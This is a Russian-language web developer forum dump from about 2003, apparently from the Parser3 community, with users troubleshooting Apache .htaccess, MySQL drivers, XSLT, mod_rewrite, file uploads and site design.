 Deny from all\
</Directory>\
\
и пишу в .htaccess который лежит в /mod/\
\
<Directory>\
 Order allow,deny\
 Allow from all\
</Directory>\
\
Перезапускаю сервер.\
Захожу в /parser/ а сервер мне выдает:\
\
[b]Internal Server Error[/b]\
[i]The server encountered an internal error or misconfiguration and was unable to complete your request.\
More information about this error may be available in the server error log.[/i]\
\
Как устранить ошибку, чтоб все заработало."
"18502","/parser/.htaccess\
[code]Order allow,deny\
Deny from all[/code]\
/parser/mod/.htaccess\
[code]Order allow,deny\
Allow from all[/code]\
\
<Directory> - это при указании директивы в httpd.conf, чтобы показать, к какой папке она относится. htaccess действует на текущую и <Directory> ему не требуется, более того, вызывает процитированую ошибку. \
\
Мораль - читайте логи ошибок, и делайте это [b]вдумчиво[/b]. То же справедливо и по отношению к документации."
"18504","Да и при изменени .htaccess, перезагружать сервер помоему и не надо ведь:)"
"18505","http://httpd.apache.org/docs/mod/mod_rewrite.html"
"18506","Люди помогите...\
\
Я, регистрируясь на бесплатном хостинге Fatal.ru увидел надпись Parser. Когда я попал на сайт и почитав о возможных перспективах то скачал уроки... \
   Короче. Я толком ничего не знаю что такое Apache. Когда мне надо было что-нибудь написать на PHP то для отладки скриптов я установил второй Apache и по скаченой инструкции настроил его. Все работало, я углублялся в познание PHP пока не наткнулся на Parser. Я скачал Apache 1.3 и сам Parser но так и непонял что надо сделать чтоб в браузере все работоло. В итоге у меня появились вопросы на которые проще ответить, ответив всего лишь на один вопрос:\
   Как добится того что бы то что я написал на Parser'е мог просмотреть в своем браузере в оффлайне? У меня windows XP, архив с Apach'ем и инсталяшка Parser'а. Распишите пожалуйста по шагам. Заранее спаибо."
"18508","Спаибо большое. Ща попробую;)"
"18510","_test.html жалуеся на MySQL\
\
driver failed to initialize client library 'libmysqlclient.so', can not open the dynamic link module \
$sqldriversdir/libparser3mysql.so\
\
логи говорят\
\
[Fri Jul 11 19:25:16 2003] /: config(0): './lib/libparser3mysql.so' driver failed to initialize client library 'libmysqlclient.so', can not open the dynamic link module [<no type>] \
\
Собственно сам парсер работае а мускуля не понимает.\
\
Что делать?"
"18511","Драйвер не может найти клиентскую библиотеку mySQL,проверь установлена ли клиентская часть mySQL. Возможно ндо просто указать полный путь к этой библиотеке в конфигурационном файле."
"18512","Я арендую хостинг ssh у меня нет, а если бы и был то как?\
Платформа LinuхRH 7.2\
MySQL стоит и работает проверяю это PhpMySQLAdmin\
\
т.е. Возможно ли обойтись без админа хостинга?"
"18513","ну если бы был доступ по SSH то можно было бы попробовать сделать вот так:\
find / -name libmysqlclient.so*\
Возможно библиотека имеет немного другое имя (к примеру у меня она называется libmysqlclient.so.10 и лежит в /usr/lib).\
Проще всего задать этот вопрос администраторам хостинга."
"18514","mysql	$sqldriversdir/libparser3mysql.so	libmysqlclient.so\
\
Ятак понял выше написанную строку надо будет заменить на\
\
mysql	$sqldriversdir/libparser3mysql.so	/путь/libmysqlclient.so"
"18519","[code]\
Thu, 16 Jan 2003 18:13:51 +0300 (MSK)\
Fri, 11 Jul 2003 23:00:03 +0400 (MSD)\
[/code]"
"18520","auto.p во многих случаях можно заменить листом стилей. CSS позволяет сильно сократить размер кода, и заменит устаревшую компановку текста с помощью таблиц..."
"18522","парень, ты не путаешь PARSER и HTML???\
приведи пример: того что нельзя генерить RARSER`ом???\
у меня он вообще отвечает, в основном, за выборку из баз и построение в зависимости от URL страницы, а вот на чем его строить: DIV vs. TABLE, без обид, но: давай ты будешь спорить в других форумах???"
"18523","http://sstu-pin.narod.ru сделан полностью с помощью стилей CSS level 1 (http://www.w3.org/pub/WWW/TR/REC-CSS1) из-за того, что на Народе нет возможности установить parser. Я вообще не использовал кучу таблиц, как это сделано на многочисленных сайтах artlebedev..."
"18524","То, что вместо таблиц сейчас лучше использовать стили - это да. Но к парсеру это ни как не относиться)"
"18526","что значит такое сообщение и в чем ошибка.? помогите кто может\
\
\
Unhandled Exception (Debug)\
column not found\
uri\
\
x:/home/test2.ru/www/auto.p(7)\
exception.type=parser.runtime \
--------------------------------------------------------------------------------\
menu x:/home/test2.ru/www/auto.p(5)\
navigation x:/home/test2.ru/www/test.html(13)"
"18527","Какая связь между Парсер и CSS ?\
По сути Парсер это язык программирования, о СSS такого скзать нельзя. Так что заменять одно другим :)),..... просто невозможно."
"18528","у меня проблемка с установкой парсера. кроме того, что на сайте стоит OS Unix, я ничего не знаю. что мне скачать, как и куда установить? помогите пожалуйста!!! уж очень мне понравился parser!"
"18529","Я только не понял одно: тебе PARSER как-то мешает соблюдать стандарты W3C???\
Мне нет, мне мешает неполная поддержка большинством бровзеров CSS2 - это да, а использовать CSS1, но с умом PARSER никак не мешает. ;)\
\
ИМХО это или провокация или просто незнание ответа на вопрос: для чего предназначался PARSER."
"18530","Это значит, что файл auto.p не может найти колонку uri.\
\
Вопрос уже рассматривался.\
См ссылки:\
\
[url=\"http://www.parser.ru/forum/?id=17458\"]http://www.parser.ru/forum/?id=17458[/url]\
\
[url=\"http://www.parser.ru/forum/?id=17464\"]http://www.parser.ru/forum/?id=17464[/url]\
\
[url=\"http://www.parser.ru/forum/?id=17717\"]http://www.parser.ru/forum/?id=17717[/url]"
"18531","хочу построить из структуры XML\
[code]\
#########item.xml##############\
\
<?xml version=\"1.0\"?>\
<?xml-stylesheet type='text/xsl' href='item.xsl'?>\
<list name=\"falcon\">\
	<item>id</item>\
	<item>art</item>\
	<item>name</item>\
	<item>ves</item>\
	<item>ed</item>\
	<item>prise</item>\
</list>\
[/code]\
\
список через запятую, но чтоб после последнего запятой небыло. С помощью XSL & XPath\
\
[code]\
#########item.xsl##############\
\
<?xml version=\"1.0\" ?>\
<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\
<xsl:template match=\"list/item\"> \
  <xsl:apply-templates/>\
  <xsl:if test=\"[color=\"red\"]not(position()=last())[/color]\">, </xsl:if>\
</xsl:template>\
\
</xsl:stylesheet>\
[/code]\
\
как в уроке 6 делаю через parser\
\
[code]\
#########item.html##############\
$sourceDoc[^xdoc::load[item.xml]] \
\
\
$transformedDoc[^sourceDoc.transform[item.xsl]] \
\
\
^transformedDoc.string[ \
    $.method[html] \
]\
[/code]\
\
\
Браузер выдает(через парсер):\
\
[color=\"red\"]id, art, name, ves, ed, prise,[/color] \
\
т.е. никакуу запятую после последнего елемента не убирает!!!!\
\
Если просто открою item.xml в IE6 то егойный процессор XML выдает:\
\
[color=\"red\"] id, art, name, ves, ed, prise[/color]\
\
т.е. убирает!!!!\
\
Такое ощущение что где-то тут лажа."
"18533","cпасибо, всё понял."
"18534","Я имел ввиду, что часть функций можно заменить divами. Насколько я знаю, это может разгрузить сервер и уменьшить объем генерируемой страницы. При высоко скоростном подключение наверное трудно заметить что такая страница (отформатированная таблично) занимает 30-50 Кбайт"
"18535","ну ты загнул 30-50....."
"18536","Еще раз: функции PARSER`a CSS [b]НЕ ЗАМЕНЯЕТ[/b]!!!\
Вам, товарищ, в другой форум, ну хотя бы RU.WEB.CONSTRUCTION ;)\
Я не понимаю: причем тут экономная верстка и вещи типа выборки из базы и обработка этой инфы в \"типографах\"???\
Большинство с тобой согласится: да, для части проектов важен \"малый вес\" страницы, но(!) есть вещи, где требуется совместимость с кучей бровзеров и тут без <TABLE> не обойтись, чуть позже, если попросишь - тебе может ответят ALG"
"18538","попробуйте удалить все пробелы, табуляции и переносы строк из item.xml"
"18539","Никто не знает, как реализовать означенное? А то я гляжу в доку, как баран, и торможу :-("
"18540","и что не получилось конкретно.\
\
Сказали бы кто у вас хостер, для начала.\
\
А что у вашего хостера нет службы поддержки?\
\
А про то, что скачать, как и куда установить нормально описано в доке.\
\
Попробуйте сами, что конкретно не получится, спрашивайте в этот форум"
"18541","RewriteRule (.*\\/)((.+)(\\.html))?(([\\?|&])(.+))? /index.html\\?uri=$1&$7&method=$3"
"18542","Вы написали Конвертер регистров для Студии Артемия Лебедева.\
Очень полезная вещь.\
У меня к вам вопрос. Можно ли написать тоже самое на Парсере?\
\
И ещё мне кажется, что Конвертеру регистров нехватает, того, о чем писал Рома Воронежский\
\
[url=\"http://www.narisoval.ru/faq/ex01-004.html\"]Формы: подписи к элементам[/url].\
\
\
Заранее благодарю."
"18543","Надо через ссылку вида www.site.ru/mydocument.html?id=что-то передать два параметра. На мой взгляд делать надо так: \
<a href=\"?a=1&b=2\">...</a>\
А затем получить значения полей $form:a и $form:b\
Если не так, то подскажите как. Ну очень нужно :)"
"18545","[code]# рерайт на http://www.bougakov.com/we/media/photos/collection_6.html\
\
RewriteRule /we/media/photos/collection_(.*)\\.html(?:\\?(.*)?)? /we/media/photos/index.html\\?collection=$1?2&$2: [I,U] [/code]"
"18546","а именно URL документа, на который вы ссылаетесь"
"18547","Написать можно на чем угодно -- там нет ничего сложного.\
\
По поводу label вы правы -- поправил. Спасибо"
"18548","криво получается, надо из файла XML удалять все \\t \\n символы. это по идее так быть не должно, это баг наверно.\
\
придется видимо извернутся."
"18551","Причем уже работает :)"
"18552","опытным путем установлено, что запятую в конце не убирает если между </item></list> присутствует любой символ(в т.ч. \\t \\n).\
[code]\
#########item.xml##############\
\
<?xml version=\"1.0\"?>\
<?xml-stylesheet type='text/xsl' href='item.xsl'?>\
<list name=\"falcon\">\
	<item>id</item>\
	<item>art</item>\
	<item>name</item>\
	<item>ves</item>\
	<item>ed</item>\
	<item>prise[color=\"red\"]</item>тут</list>[/color]\
[/code]\
\
как я понял анализатор считает \"тут\" узлом textNode, даже если \
\"тут\" = \\n|\\t\
А как жэ тогда от етого избавится, т.е. чтоб если \"тут\" =  \\n|\\t  то все было тики тики и запятую в конце убирал.\
Может ето как-то через DTD определить???\
Подскажите если кто знает?\
\
P.S. IE6 обрабатывает в любом варианте, запт. убирает. Может ето баг? :)"
"18553","[code]^dbconnect{$mes[^table::sql{select count(*) from exchange}]}\
^mes.count[]\
[/code]\
\
Этот код по понятным причинм выдаёт 1\
в варианте $mes.count сообщает об ошибке в том месте где её никогда небыло и нет.\
\
Как бороться с этим в доке я необнаружил.\
Поиск в форуме тоже ничего недал.\
\
Заранее благодарю за любую помощь."
"18554","Некоторые считают, что это \
./?a=b, некоторые <текущая страница>?a=b..."
"18555","Как обычно сообщение об ошибке не приводится по неизвестным причинам :) Но предполагаю, что это (junction) has no elements\
По все видимости парсеру не нравится имя столбца count, т.к. класс table имеет одноименный метод. Просто переименуй это поле в запросе, \
например так:\
^dbconnect{$mes[^table::sql{select count(*) as total_records from exchange}]}\
$mes.total_records[]"
"18556","http://www.parser.ru/docs/lang/?intdoublesql.htm"
"18558","Проблема в следкющем при создании таблиц например так \
^news.menu{}, и вставке данных в ячейку, нет ниодного переноса строк, т.е ячейка разрастается вширину до огромных размеров. Что можно сделать. <nobr> и <nowrap> нигде не стоят"
"18559","^news.menu не создает таблицы а только их показывает\
Если вас не устраивает формат отображения данных, то преобразуйте его.\
<nobr> - тег который делает текст переносимым на новую строку только целиком, иначе говоря неразрывным. nowrap - используется только для элементов ячейки таблицы, и ограничивает область то указанной ширине. В вашем случае ни то, ни другое не поможет.\
Если вам не нравится что строка длинная, то вам нужно расставить <br> через определенное количество слов, этого можно достичь с помощью регулярных выражений."
"18560","А можно привести простеникий пример, я немного не догоняю как это сделать!"
"18561","ПОМОГИТЕ!!! не хочется переписывать сайт на PHP."
"18562","Пример за сегодняшнее число. Он не самый показательный, его можно упростить или усложнить (по-желанию), но всеже рабочий.\
\
Вот только интересно, где такое может понадобиться? напишите ежели не трудно..."
"18563","нету понимания, что такое множество:\
[,|.|:|^;|?|!|\"|'] - это ужасно выглядит, и работает скорее всего не так, как задумывалось.\
\
надо или (что плохо):\
(,|.|:|;|?|!|\"|')\
или (что лучше):\
[,.:;?!\"']\
\
аналогично в других местах."
"18564","Задача: сделать сайт на 4-х языках\
\
проблема (точнее не проблема, а сомнения в выборе варианта):\
как хранить дерево разделов в базе\
\
вариант 1 (показан сильно упрощенно):\
таблица РАЗДЕЛЫ\
dir  section_id   parent_id      title\
ru       1             0         \
en       2             0\
fr       3             0\
de       4             0\
about    5             1          про\
about    6             2          about\
about    7             3          about на фр.\
\
то есть есть в таблице 4-ре корневых раздела ru,en,fr,de.\
очень не нравится необходимость повторять ввод, например в dir about для каждого языка (корневого раздела)\
нравится простота работы с УРИ\
\
вариант 2:\
делаем 2-е таблицы:\
1 - одни  _id, dir и еще кое-что\
2 - локализование названия и прочее для каждого lang\
\
тогда lang надо выдирать между двумя первыми слэшами.\
\
:)))))))))))))))))))\
Пока писал это, все больше стал нравится 2-й вариант.\
Но все же... Может можно еще как-то..."
"18565","1. бывает, что структура сайта на одном языке имеет очень мало общего со структурой на другом языке, тогда выбор - вариант 1\
\
2. бывает, что структуры идектичны, тогда выбор - вариант 2\
\
3. к несчастью, чаще всего бывает что-то среднее... тогда приходится выбирать... я обычно выбираю 2 вариант + извращения."
"18567","А какие извращения могут скрасить жизнь при структуре с ЧАСТИЧНЫМ совпадением?\
\
Мои мысли:\
Если у dir есть все языки, то ОК.\
Там, где надо немного другой раздел, создаем dir с нужной локалью, и ее не видно в других языках.\
\
такое решение, хоть и в сумбурном изложении по-моему спасет.\
\
Так?"
"18568","я бы остановился на варианте 2:\
\
два класса: Document и Data. У одного Document может быть много Data (но не более кол-ва языков в системе). Ну и т.д.\
\
По-моему очень логично."
"18569","для того, чтобы перейти на документ, нкжно указать его URL. Если не указываете, это означает, что разработчики разных браузеров сами решают (за вас) что вы имели в виду. Оно вам надо?"
"18571","Структура сайта и каталог товаров в БД MySQL, \
в качестве шаблонов используется XSL, \
в качестве контента - XML файлы.\
Почитал доки, вроде хорошая штука Parser, но мне нужны статические страницы, генерилка пускается раз в сутки.\
На Perl-е попробовал написать - там с XML заморочено как-то.\
\
Можно ли реализовать генерацию статических страниц по этой схеме средствами Parser-а ?"
"18572","можно пойти несколькими путями: типа запуск parser из командной строки.\
\
Но есть путь лучше: сделать обычный :-) динамический сайт и сильно-сильно его кэшировать средствами парсера -- получится примерно та же фигня, но с гораздо более богатыми возможностями"
"18573","Результат работы кода сохранять в файл. Сам так иногда делаю.\
[code]\
$code[много разного кода]\
^code.save[text;/index.html] \
[/code]"
"18574","делаешь динамический сайт и натравливаешь на него teleport pro ;)\
\
вот тебе и куча динамических xml-ек, однако если позволяет хостинг, мне кажется значительно лучше использовать вариант, который предложил Serge I. дальше сами знаете кто :)))"
"18575","На WinXP+Apache+Parser3+MySQL создан виртуальный хост, созданы файлы из примера про добавление и показ новостей.\
Проблема: Если файл вызова новостей положить в корень - /public_html/ (назвать, например, news.html), то всё ок!\
Если же создать в /news/ index.html, то будет видна пустая страница без ошибки (в коде страницы присутствует стандартный шаблон HTML-страницы, но не из auto.p).\
Чем можно это вылечить?\
(пробовал прописывать настройки в httpd.conf = не помогло)"
"18576","Предлагаю внедрить новый вид исскуства - Парсэтюд.\
Вариация на тему всем известной шутки.\
[code]\
@booze[hours]\
^for[i](1;$hours){\
$beer[^table::load[/shop/beer.pack]]\
$snack[^file::load[binary;vobla.txt]]\
\
^if($beer.temperature > 17){\
\
Надо его еще в холодильник поставить,а то теплое\
}{\
^beer.menu{\
\
Ну что, еще по бутылочке, а то мы только $beer.bottle выпили\
^if(^beer.line > 15){Кстати, ты меня уважаешь?}\
 $snack.text\
^if($snack.size > 2){Здоровая рыба, не рыба - акула}\
\
}\
\
}\
Може еще по сто водочки?\
$glass[^file::load[binary;vodka.bot]]\
^try{\
\
$glass.gramm_sto\
\
}{\
^snack.save[/bucket.sys]\
^beer.save[/bucket.sys]\
\
}\
}\
[/code]"
"18577","Посмотрите опцию directoryindex (или как там она пишется)\
\
З.Ы.\
ИМХО ежели ставитесь на ХР, то надо юзать ИИС"
"18579","Меня интересует вот эта часть\
[code]/?ot=$ot&do=$step eq $request:uri[/code]\
\
Заране благодарю за любую помощь."
"18581","Сегодня был торжественно открыт новый сайт посвящённый синтаксической раскраски объектно-ориентированного языка программирования parser3! \
\
На сайте можно скачать схемы раскраски для использования в составе набора программного обеспечения colourer4ever. \
\
Доступен дискуссионный список рассылки (движок majordomo). Для получения подробностей о подписке и участия в рассылках необходимо зарегистрироваться (все подробности придут на адрес электронной почты). \
\
Сайт работает с использованием передовых технологий:\
Apache, mod_rewrite, parser3.cgi, MySQL. \
\
Выдаваемый текст отвечает передовым стандартам:\
XHTML 1.0 Strict, CSS 2. \
\
Адрес сайта http://parser.mojo.ru/ . \
\
При возникновении каких-либо вопросов относительно схемы раскраски, регистрации, подписки, установке и настройке, обязательно сообщайте мне. ;-))) \
\
Спасибо за внимание, и надеюсь, что предоставленные схемы окажутся очень даже кстати. Помниться, мне кто-то даже обещал памятник поставить... ;-))))"
"18582","Есть ли возможность выдавать заголовок Last-Modified используя стандартные возможности парсера? То есть, можно ли получить дату в GMT вида 'Sun, 13 Jul 2003 00:28:09 GMT'?"
"18583","> ИМХО ежели ставитесь на ХР, то надо юзать ИИС\
\
Где связь?"
"18584","Как же, как же :)\
Помню: меня ты как раз на этом месте и поправил - не \"одно из ...\", а \"любой из ...\".\
с тех пор перестал в такой ситуации ИЛИ - \"|\" ставить ;)"
"18585","было бы неплохо разъяснить что такое  colourer4ever"
"18588","Почитать о реализации Апача под вин32. Стоит еще почитать багтраки. Это всеравно, что юзать сквид под винду - все \"типа\" как под линухом, но криво.......\
Юзать апач под виндой, ИМХО, возможно только в тестовых/учебных целях\
\
Вопросы сами отпадут."
"18591","Читаю форум через почту. Фича мне кажется очень удобной.\
\
Однако, достает многократное повторение одного и того же сообщения в случае его редактирования. Бывают сообщения посылаемые раз по 5.\
\
Может можно сделать, чтобы новые сообщения пересылались на e-mail, например минут через 5-10 после их публикации, когда автор скорее всего уже перестанет его редактировать?"
"18592","по моему скромному мнению это вопрос привычки.\
\
я привык работать с апачем, мне его настроики и конфигурабельность нравится больше (стоит еще вспомнить про mod_rewrite...)\
\
и вряд-ли я буду пользоваться IIS-ом на винде... другое дело, что я не буду также пытаться использовать веб-сервер под win32... \
\
и еще... у автора треда я не увидел упоминание, что это его хостинг, а не использование апача под XP в тестовых/учебных целях.\
\
мое личное мнение: в настоящее время лучше изучать апач. в тоже время ничего не мешает ищучать и то и то :)"
"18593","на счет мод_реврайта - возможно, это будет откровением, но под иисом есть аналогичная заморочка. Просто люди уперлись в Апач и считают, что он рулез \"потому, что так ДеЦл сказал\"(цопирайт бай Шепавалов Даня)\
Разговор переходит на вечную тему  религиозных войн виндов против линукс(и наоборот). Хороший спец может поднять и то и другое, но это уже оффтопик. Виндовс, особенно 2003, клевейшая штука. Использую его начиная с рс 1 и доволен (500 юзеров и из них 50 на бездиковых терминалах). Линукс у меня носит почту, маршрутизирует, хранит бэкапы, держит веб сервер, много повседневных задач качает без проблем и это все не потому, что он свободный, а потому, что так сложилось.\
 Да, и возвращаясь к нашим баранам, скажу, что лучше ВСЕГДА использовать нэйтивные(или встроенные) средства. Опыт показывает, что это лучше всего."
"18595","... и оно банально до безобразия: нету времени чтобы сделать рассылку демоном, запускаемым раз в X минут.\
\
записал себе в todo, однако в ближайшем будущем этого можно не ждать, т.к. есть более простые в реализации и тоже полезные фичи."
"18598","например новые сообщения помещать в \"отстойник\" и потом при любом удобном хите проверять это дело на \"созревшие\" сообщения (например после создания сообщения прошло более 10 мин., либо кто-нибудь ответил на него раньше...) и подходящие отсылать.\
\
Ну это в общих чертах..."
"18601","Ситуация такая:\
парсер стоит в каталоге /cgi-bin/ со следующими правами и владельцами\
\
-rwxr-xr-x    1 6008     6002       535180 Mar 19 15:08 parser3.cgi\
\
апач работает от пользователя 6002 изи группы 6002\
парсер соответственно от пользователя 6008 из группы 6002\
(т.е. и апач и парсер работают из одной группы - тут всё нормально скрипты работают!)\
по фпт файлы закачиваются из-под пользователя 6008\
\
у меня есть каталог /d/ права уже поставил наиполнейшие!!!!\
drwxrwxrwx    2 6008     6002         4096 Jul 16 10:12 d\
\
в нём 2 файла:\
форма для закачки файлов\
-rw-r--r--    1 6008     6002          411 Jul 15 10:43 index.htm\
скрипт, который пишет картинку на сервер в файл /d/x3.jpg\
-rw-r--r--    1 6008     6002          107 Jul 15 10:43 dd.html\
[code]\
@main[]\
^if(def $form:photo){\
	^form:photo.save[binary;x3.jpg] \
	файл сохранён\
}{\
	файл не сохранён\
}\
[/code]\
\
выбираю файл, говорю скрипту /d/dd.html сохранить его, и получаю ошибку и такую вот фигню\
-rw-rw-r--    1 6002     6002            0 Jul 16 10:12 x3.jpg \
\
файл создаётся, но в него ничего не пишется и владелец не 6008, а 6002 :((\
\
вчера каким-то чудесным способом заставили этот скрипт записывать файлы:\
было\
-rwxr-xr-x    1 6002     6002       535180 Mar 19 15:08 parser3.cgi\
сделали\
-rwxr-xr-x    1 6008     6002       535180 Mar 19 15:08 parser3.cgi\
т.е. владельца парсеру сменили с 6002 на 6008 и вроде зарабоатло\
файлы стали зыписываться с владельцем 6008 - как и надо!\
потом ни с того, ни с сего опять стало делать пустые файлы с владельцем 6002 и выдавать ошибку, т.к. не может записать\
-rw-rw-r--    1 6002     6002            0 Jul 16 10:12 x3.jpg \
\
:(((\
Подскажите как заставить нормально сохранять файлы на диск????"
"18602","Всем, кто забил на оптимизацию кода под нетскейп ссылка в подарок - http://daniel.glazman.free.fr/weblog/newarchive/2003_07_13_glazblogarc.html#s105830146977534319 Можете использовать как аргумент - \"какой такой нетскейп?\" :)"
"18603","все зависит от аудитории и заказчика.\
\
Но в большинстве случаев и в случаях по умолчанию оно действительно dead"
"18605","шобы мол засылать нужную яву :)"
"18606","Если кто-то такое уже делал.\
\
Какая форма репозитория для разработки и хранения общих классов наиболее эффективна?\
\
Как насчет разработки публичного репозитория?"
"18607","www.xpoint.ru"
"18608","а вы как пробовали? в чем у вас проблема?"
"18609","@USE\
^class_list:load ? :))))"
"18610","Я выступаю за англисизацию --- стараюсь не использовать американское правописание. ;-) \
[url=http://colorer.sf.net/]colourer-take5[/url]\
[url=http://www.uic.nnov.ru/~ruiv/far/]colourer4ever[/url]\
\
В любом случае, спасибо за напоминание. Что-нибудь напишу по этому поводу."
"18611","Использую обычный CVS"
"18612","Но вот как организовать правильно репозиторий для пректов и для классов отдельно - вот это вопрос."
"18613","[url=./?id=15783]# можно делать $response:header[^date::create…], Александр Петросян (PAF) [14.04 14:18 / 14.04 14:18][/url]\
\
Код страницы:\
[code]\
$response:Last-Modified[^date::now(-7)]\
test\
[/code]\
\
Диалог с сервером:\
[code]\
GET /test.html HTTP/1.1\
Host: localmojo\
\
HTTP/1.1 200 OK\
Date: Wed, 16 Jul 2003 19:47:36 GMT\
Server: Apache/1.3.26 (Win32)\
Last-Modified: Thu, 01 Jan 1970 00:00:00 GMT\
content-length: 4\
Content-Type: text/html; charset=windows-1251\
\
test\
[/code]"
"18616","кроме того, ПАФ там-же написал:\
[quot]\
имейте в виду, что с этой датой после вас ещё ковыряется сам apache.\
[/quot]\
\
мое мнение: там может быть что-нить печальное с временными зонами."
"18617","помогите пожалуйста. я прочёл статью об изменении картинокс  помощью этой библиотеки и очень заинтересовался,  но когда я зашёл на их сайт , то не понял, что мне качать - там куча библиотек и все разные\
ftp://ftp.icm.edu.pl/pub/graphics/ImageMagick/"
"18619","Если кратко, то необходимо перекачать один из .exe файлов из директории binaries/ . \
В директории windows/ эти товарищи догадались положить исходники, которые, как я могу предположить, никому на win32 не нужны... ;-))\
\
\
http://www.imagemagick.org/www/QuickStart.html\
[quote]\
XP, Win2K, WinME, NT, Win98, Win95 Install:\
\
Download one of\
\
ftp://ftp.imagemagick.org/pub/ImageMagick/binaries/ImageMagick-5.5.7-Q16-windows-dll.exe\
\
ftp://ftp.imagemagick.org/pub/ImageMagick/binaries/ImageMagick-5.5.7-Q16-windows-static.exe\
\
ftp://ftp.imagemagick.org/pub/ImageMagick/binaries/ImageMagick-5.5.7-Q8-windows-dll.exe\
\
ftp://ftp.imagemagick.org/pub/ImageMagick/binaries/ImageMagick-5.5.7-Q8-windows-static.exe\
\
and execute it (or \"open\" it from your browser) to start the installation program.\
\
Once ImageMagick is installed, Select Start->Programs->Command Prompt. In the Command Prompt window type\
\
  convert logo: logo.gif:\
  imdisplay logo.gif\
[/quote]"
"18620","но файл называется\
ImageMagick-i686-pc-windows.exe - весит 5Mb\
для него нужен не последний Perl, а версия 5.8.0.84\
его легко можно найти на любом ftp-шнике"
"18622","И не стоит забивать себе голову подобными вещами - ну нету философского камня, серебрянной пули и пр. То что позволено Юпитеру, не позволено быку."
"18623","ну как сказать, я пользуюсь парсером(удивительно не правда ли? :))\
нужно создать js который работал бы в разных браузерах, ясно что лучше это делать через переменные окружения...\
ну пусть будут переменные, берем тормозилу и видим:\
Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.3b) Gecko/20030206\
берем ослика 6:\
Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\
берем нешкаф:\
Mozilla/4.7 [ru] (Win98; I)\
и т.д.\
\
и что со всем этим делать? регулярными выражениями?\
короче как их отличать?"
"18626","в духе парсера: написать себе удобный оператор и пользоваться им..."
"18628","мне бы пример создания закладок средствами dhtml(можно только ie)\
я сделал сам только возникло несколько проблем...\
желательно чтобы все работало в одном потоке, а не на разных слоях...\
Помогите люди добрые!"
"18629","только на автора (Leechy, www.dhtml.ru) ссылку можешь где-нить сделать..."
"18630","спасибо огромное!(Это то что мне нужно было)"
"18631","Подскажите, какой код надо писать, если я хочу показывать 3 последние новости из MySQL. Так чтобы Parser выбирал их по id. Допустим новостей 29 — надо показать 29-ю, 28-ю, 27-ю, именно в убывающем порядке, начиная с последней, т.е. в данном с 29-ой."
"18632","Есть документация, думаю быстрей будет заглянуть туда, чем ждать ответа в форуме.\
\
[i]Для того чтобы сортировка производилась в обратном порядке, в утверждении ORDER BY к имени заданного столбца, в котором производится сортировка, следует добавить ключевое слово DESC (убывающий).[/i]\
\
http://www.mysql.com/doc/ru/SELECT.html"
"18633","Веб-сервер Apache именно оригинальный и именно на виндах использую для отладки сайтов уже три года (PHP+MySQL)... В конце прошлого года перешел на WinXP - все работало хорошо.\
IIS не использую принципиально, потому как при переносе файлов на реальный сервер возникают косяки, к тому же у меня на локалке уже 15 хостов, а на IIS, вроде, так нельзя сделать.\
Парсер начал изучать не так давно и решил не лезти с ним сразу на хостинг - на своей машине полюбому проще (это я так наивно думал).\
С этим багом я уже неделю мучаюсь. Никаких ошибок, никаких внешних проявлений - не работает и все тут."
"18634","Пример можно? А если хочу взять только заголовок с предпоследней новости?"
"18636","А если не предпоследний, а третий, начиная с последнего добавленного. (Т.е. если последний id=30, то заголовок нужен 28.)"
"18637","делаешь select header from NEWS order by id desc \
патом при помощи ^таблица.offset смещаешся на сколько тебе нада новостей в ту или иную сторону.\
\
вот и всё."
"18638","Ну вот скажи мне медвеь, как конкретно это написать, чтобы я просто сделал copy/paste. И я отвалю. Потому как ^таблица.offset мне ниче не говорит. И кстати буду такой же довольный и умный как ты :). И спасибо еще скажу."
"18639","А что подумать не судьба? Хочешь учиться - думай! За тебя никто этого не сделает."
"18641","Подскажите мне, олуху :) как средствами Парсера определить откуда (с какого url) пришел посетитель. А то я что-то всю башку сломал :)"
"18643","Я, например, проверяю свой код только в мозилле, и не думаю, что я такой один. (Конечно, когда всё уже готово, то можно проверить и в IE, и в Konqueror. )\
\
Слова \"мы не будем поддерживать Netscape 7.1\" равносильны \"мы поддерживаем только IE >=4 на win32\", что является большой и серьёзной ошибкой..."
"18644","А где искал? Здесь в форуме?"
"18645","Это я понимаю и не ищу легкой жизни. Я не могу решать задачу, если мне 1 раз не показали как ее решать. Ты же не решишь задачу 11 класса по физике, если сам в первом, только потому, что не знаешь как ее решать, еще не научили. Я сейчас в первом по Parser'у и прошу тебя такого взрослого мне помочь."
"18646","Не дождётесь! ;-) \
\
Нетскейп будет жить, только теперь он будет называться как Mozilla. :-) \
\
http://www.mozillazine.org/talkback.html?article=3434\
\
<<\
До этого момента mozilla.org производила сборку броузера только для разработчиков, а конечным пользователям предлагалось перекачать коммерческие версии от производителей броузеров, например, от Netscape. Теперь же, основное внимание будет сконцентрировано на конечных пользователях, и первым шагом в этом направлении было изменение главной страницы http://mozilla.org/ . \
>>\
(Перевод --- (C) Constantine)"
"18648","Вот такой ты и есть! В 21:45 пишешь мне \"А что подумать не судьба? Хочешь учиться - думай! За тебя никто этого не сделает.\". А в 22:11 выходит твой блокбастер с заголовком \"Подскажите плиз.\"\
\
Если я в чем-то ошибся — скажи мне."
"18649","Где вы эту цитату увидели? (\"мы не будем поддерживать Netscape 7.1\") Я что-то пропустил? :-)\
http://www.google.com/search?q=%22%EC%FB+%ED%E5+%E1%F3%E4%E5%EC+%EF%EE%E4%E4%E5%F0%E6%E8%E2%E0%F2%FC+Netscape+7.1%22\
\
На самом деле, чтобы сделать сайт не совместимый с Mozilla/Netscape (но соотв. спецификациям W3C) надо [i]очень[/i] сильно постараться."
"18651","Что-то не совсем стандартное, где искать будешь?\
\
Что надо? Выбрать последние три записи из БД ([url=\"http://www.mysql.com\"]MySQL[/url]). Если не знаем, как это делать смотрим в [url=\"http://www.mysql.com/doc/ru/\"]документацию[/url]. Читаем документацию и узнаем, что оператор [url=\"http://www.mysql.com/doc/ru/SELECT.html\"]SELECT[/url] отвечает за выборку из БД. Экспериментируем немного и узнаем, что СУБД по умолчанию выдаёт только первые записи, но нам то надо последние. Читаем дальше, узнаём о примочке [color=\"purple\"]ORDER BY[/color], с помощью которой можно производить сортировку в убывающем порядке [color=\"purple\"]DESC[/color],  или наоборот [color=\"purple\"]ASC[/color]. То, что нам и было нужно."
"18652","Как я понял parser у тебя работает.\
где-то чето с настройками апача. Хотя хорошо бы тебе поподробнее все расписать.\
Попробуй /news/news.html что получится? \
Похоже че-то с индексацией, об этом redactor говрил.\
